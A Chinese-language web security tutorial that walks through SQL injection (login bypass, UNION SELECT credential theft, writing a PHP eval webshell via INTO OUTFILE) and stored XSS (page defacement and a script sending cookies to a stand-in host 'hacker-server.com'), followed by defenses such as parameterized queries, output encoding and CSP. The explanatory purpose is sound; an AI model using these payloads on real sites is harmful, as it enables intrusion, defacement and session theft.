在网络攻击事件中,SQL 注入与XSS 攻击是最常见的组合拳 —— 前者如同打开网站 “后门” 的钥匙,帮助黑客突破数据库与服务器权限;后者则像 “隐形画笔”,让黑客能随意篡改页面内容、劫持用户操作。本文将拆解这两种漏洞的技术原理,完整还原黑客从发现 SQL 注入点,到获取服务器控制权,再通过 XSS 攻击篡改网站的全流程,并提供可落地的防御方案。
一、SQL 注入:突破网站数据库的 “钥匙”
SQL 注入(SQL Injection)的核心是攻击者将恶意 SQL 语句插入用户输入字段,利用网站未过滤输入的漏洞,让数据库执行非预期命令。这种漏洞广泛存在于登录框、搜索栏、用户注册等需要与数据库交互的功能中,是黑客获取网站核心权限的 “第一站”。
1. SQL 注入的本质:输入未过滤,SQL 语句被 “篡改”
网站与数据库交互时,会将用户输入拼接到 SQL 语句中。若未对输入做任何过滤,攻击者就能通过构造特殊输入,改变 SQL 语句的逻辑。
以 “用户登录功能” 为例,正常交互流程如下:
- 用户输入:
username=admin,password=123456 - 网站拼接的 SQL 语句:
SELECT * FROM users WHERE username='admin' AND password='123456' - 数据库执行后,若匹配到记录则登录成功。
当存在 SQL 注入漏洞时,攻击者只需输入恶意内容,即可绕过验证:
- 攻击者输入:
username=admin' OR '1'='1,password=任意值 - 被篡改的 SQL 语句:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='任意值' - 由于
'1'='1恒为真,SQL 语句逻辑被强制改为 “只要满足任一条件即返回结果”,攻击者无需正确密码即可登录。
2. 常见 SQL 注入点与测试方法
黑客通常通过 “手动测试 + 工具扫描” 组合,快速定位注入点。以下是 3 类高频注入场景及测试逻辑:
| 注入场景 | 测试方法 | 核心原理 |
|---|---|---|
| 登录框 | 输入admin'(单引号),观察是否返回数据库报错(如 “SQL 语法错误”) | 单引号会破坏 SQL 语句的引号闭合,若网站未过滤,数据库会直接暴露语法错误 |
| 搜索栏 | 输入test' AND 1=2 --,观察搜索结果是否为空(1=2 恒假,正常应无结果) | 通过--注释掉后续 SQL 语句,仅执行前半部分,判断输入是否被解析为 SQL 指令 |
| URL 参数(如 ID) | 将URL?id=1改为id=1' UNION SELECT 1,2,3 --,观察页面是否显示 “2” 或 “3” | 利用UNION语句拼接查询,若页面显示拼接的数值,说明注入点可用于读取数据 |
配图建议:图 1 为 “登录框 SQL 注入测试界面”,左侧输入admin' OR '1'='1,右侧显示 “登录成功”,标注出恶意输入与正常输入的差异。
3. SQL 注入的利用链路:从 “绕过验证” 到 “读取敏感数据”
黑客不会止步于 “登录绕过”,而是通过注入逐步获取网站控制权。其核心利用链路可通过以下流程图清晰展示:

以 “读取管理员密码” 为例,攻击者可通过UNION SELECT语句拼接查询:
- 原始 URL:
http://example.com/article?id=1 - 注入语句:
http://example.com/article?id=1' UNION SELECT 1,username,password FROM admin -- - 若页面显示 “admin” 和加密后的密码(如 MD5),攻击者可通过彩虹表破解密码,直接登录网站后台。
二、从 SQL 注入到控制权:获取 WebShell 与服务器权限
当黑客通过 SQL 注入读取到数据库配置、管理员密码后,下一步会通过 “写入 WebShell” 获取服务器的持久控制权——WebShell 是一段可执行的恶意脚本(如 PHP、ASP),植入后黑客可像操作本地文件一样管理服务器文件、执行系统命令。
1. 写入 WebShell 的前提:数据库 “文件写入权限”
MySQL 等数据库支持通过SELECT ... INTO OUTFILE语句将查询结果写入服务器文件。若满足以下两个条件,黑客即可成功写入 WebShell:
- 数据库用户(如 root)拥有
FILE权限(可通过SELECT FILE_PRIV FROM mysql.user WHERE user='root'查询); - 服务器目录(如网站根目录
/var/www/html)允许数据库用户写入文件。
2. 实战示例:通过 SQL 注入写入 PHP WebShell
假设黑客已定位到 “文章详情页” 的 SQL 注入点(id=1),具体操作步骤如下:
步骤 1:构造 “写入 WebShell” 的 SQL 注入语句
恶意注入语句的核心是 “将 PHP 木马代码通过UNION SELECT写入服务器根目录”:
# 注入语句(URL编码后)
http://example.com/article?id=1' UNION SELECT 1,'<?php @eval($_POST["cmd"]);?>',3 INTO OUTFILE '/var/www/html/shell.php' --
- 其中
<?php @eval($_POST["cmd"]);?>是经典 PHP 一句话木马,黑客可通过 “蚁剑”“菜刀” 等工具连接,执行任意命令; /var/www/html/shell.php是网站根目录路径(需提前通过注入读取网站配置获取)。
步骤 2:验证 WebShell 是否写入成功
黑客访问http://example.com/shell.php,若页面无报错(仅显示空白或 “1”“3”),说明文件写入成功。
步骤 3:通过工具连接 WebShell,获取控制权
使用 “蚁剑” 工具,输入 WebShell 地址(http://example.com/shell.php)和连接密码(cmd),连接成功后即可:
- 浏览服务器文件(如修改网站首页
index.html); - 执行系统命令(如
ls查看目录、whoami查看当前权限); - 上传更大的恶意程序(如远程控制工具)。
配图建议:图 2 为 “蚁剑连接 WebShell 成功界面”,左侧显示服务器文件目录,右侧执行whoami命令,返回 “www-data”(网站运行用户权限)。
三、XSS 攻击:篡改网站的 “隐形之手”
获取服务器控制权后,黑客若想长期篡改页面内容、劫持用户操作,通常会利用 XSS 攻击 —— 尤其是 “存储型 XSS”,其恶意脚本会被存入数据库,每次用户访问页面时自动执行,影响范围更广、持续时间更长。
1. XSS 攻击的分类与核心差异
XSS(Cross-Site Scripting)按脚本存储位置可分为 3 类,其中 “存储型 XSS” 是篡改网站的首选:
| XSS 类型 | 脚本存储位置 | 生效范围 | 适合场景 |
|---|---|---|---|
| 反射型 XSS | URL 参数 | 仅当前 URL 访问有效 | 钓鱼攻击(如构造恶意链接) |
| 存储型 XSS | 数据库(如评论表) | 所有访问该页面的用户生效 | 篡改网站内容、窃取 Cookie |
| DOM 型 XSS | 页面 DOM 结构 | 仅当前页面访问有效 | 局部页面篡改(如修改按钮功能) |
2. 存储型 XSS 实战:篡改网站首页内容
假设黑客已通过 WebShell 进入服务器,或通过 SQL 注入直接操作数据库,可通过 “往数据库插入 XSS 脚本” 篡改页面:
步骤 1:定位 “存储型 XSS 注入点”
网站的 “用户评论”“文章发布”“留言板” 等功能,若未过滤<script>等标签,均可能存在存储型 XSS 漏洞。以 “用户评论” 为例,正常评论内容会被存入comments表,前端页面加载时从数据库读取并显示。
步骤 2:构造 “篡改页面” 的 XSS 脚本
黑客在评论框输入以下恶意脚本,提交后存入数据库:
<script>
// 1. 篡改网站标题
document.title = "网站已被黑客篡改!";
// 2. 篡改首页内容(覆盖原有HTML)
document.body.innerHTML = '<h1 style="color:red;text-align:center;margin-top:100px;">网站存在严重漏洞,已被控制!</h1>';
// 3. 窃取用户Cookie(发送到黑客服务器)
var cookie = document.cookie;
var img = new Image();
img.src = "http://hacker-server.com/steal.php?cookie=" + cookie;
</script>
- 该脚本会执行 3 个核心操作:篡改页面标题、覆盖首页内容、窃取用户 Cookie(用于冒充用户登录);
http://hacker-server.com/steal.php是黑客搭建的服务器,用于接收窃取的 Cookie 数据。
步骤 3:用户访问页面,脚本自动执行
当其他用户访问带有该评论的页面时,浏览器会自动执行 XSS 脚本:
- 页面标题瞬间变为 “网站已被黑客篡改!”;
- 原有内容被红色警告文字覆盖,造成 “网站被黑” 的视觉冲击;
- 用户 Cookie 通过
img标签的src属性,悄悄发送到黑客服务器。
配图建议:图 3 为 “XSS 篡改后的网站首页”,页面中央显示红色警告文字,标题栏显示篡改后的标题,标注出 XSS 脚本的执行效果。
四、防御体系:筑牢网站安全防线
SQL 注入与 XSS 攻击虽危害极大,但通过 “多层防御” 可有效抵御。以下是针对两种漏洞的核心防御措施:
1. SQL 注入的防御:从 “输入过滤” 到 “权限最小化”
(1)核心防御:使用参数化查询(Prepared Statement)
参数化查询将 “SQL 语句结构” 与 “用户输入” 分离,数据库会将用户输入视为 “纯数据”,而非 SQL 指令的一部分。以 PHP 为例:
// 错误写法(字符串拼接,存在注入风险)
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
mysql_query($sql);
// 正确写法(参数化查询,无注入风险)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->execute([$username, $password]); // 用户输入作为参数传入
关键:所有与数据库交互的功能(登录、搜索、注册)均需使用参数化查询,禁止直接拼接字符串。
(2)辅助防御:输入过滤与输出编码
- 输入过滤:通过正则表达式或安全库(如 PHP 的
filter_var)过滤特殊字符(如'、"、UNION、SELECT); - 输出编码:将数据库返回的数据通过
htmlspecialchars()等函数编码后再渲染到页面,避免注入语句被解析。
(3)权限控制:数据库用户 “最小权限原则”
- 禁止使用
root等超级用户运行网站程序,创建专用数据库用户(如web_user); - 移除该用户的
FILE权限(REVOKE FILE ON *.* FROM 'web_user'@'localhost'),防止写入 WebShell; - 限制用户仅能访问指定数据库(如
GRANT ALL PRIVILEGES ON web_db.* TO 'web_user'@'localhost'),避免跨库访问。
2. XSS 攻击的防御:从 “输出编码” 到 “CSP 防护”
(1)核心防御:输出编码(针对所有用户输入内容)
将用户输入的内容(评论、文章、用户名)通过编码函数处理后再渲染,使<script>等标签失去执行能力。以 HTML 输出为例:
// PHP示例:将用户评论编码后输出
$comment = $_POST['comment'];
echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
ENT_QUOTES:同时编码单引号和双引号,防止通过引号闭合突破;UTF-8:指定编码格式,避免中文乱码。
(2)进阶防御:启用内容安全策略(CSP)
CSP(Content Security Policy)通过 HTTP 响应头限制浏览器加载资源的来源,禁止执行未授权的脚本。在服务器配置中添加以下响应头:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self'; img-src 'self' data:;
default-src 'self':默认仅允许加载本站资源;script-src 'self' https://cdn.jsdelivr.net:仅允许执行本站脚本和 CDN(如 jsdelivr)的脚本,禁止执行 inline 脚本(如<script>...</script>)。
(3)辅助防御:禁用 Cookie 的 “HTTPOnly” 与 “Secure” 属性
- HTTPOnly:设置
Set-Cookie: PHPSESSID=xxx; HTTPOnly,禁止 JavaScript 读取 Cookie,防止 XSS 窃取; - Secure:仅在 HTTPS 协议下传输 Cookie,避免被中间人窃取。
3. 长效防御:定期审计与漏洞扫描
- 定期进行代码审计:重点检查 SQL 语句拼接、用户输入过滤、输出编码等环节;
- 使用自动化工具扫描:通过 Burp Suite、Nessus、AWVS 等工具,定期扫描网站的 SQL 注入、XSS 等漏洞;
- 及时更新组件:定期更新网站框架(如 WordPress、Django)、服务器中间件(如 Nginx、Tomcat),修复已知漏洞。
结语:漏洞的本质是 “人为疏忽”,防御的核心是 “层层设防”
从 SQL 注入到 XSS 攻击,黑客篡改网站的每一步,都利用了 “开发者未过滤输入”“权限配置过宽”“未及时修复漏洞” 等人为疏忽。事实上,没有绝对安全的网站,但通过 “参数化查询抵御 SQL 注入”“输出编码 + CSP 抵御 XSS”“权限最小化限制风险” 的多层防御体系,可将攻击风险降至最低。
对于网站开发者而言,安全不应是 “事后补救”,而应贯穿于 “需求设计→代码开发→上线运维” 的全流程 —— 毕竟,一次成功的攻击可能导致用户数据泄露、品牌声誉受损,其代价远高于前期的安全投入。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取




被折叠的 条评论
为什么被折叠?



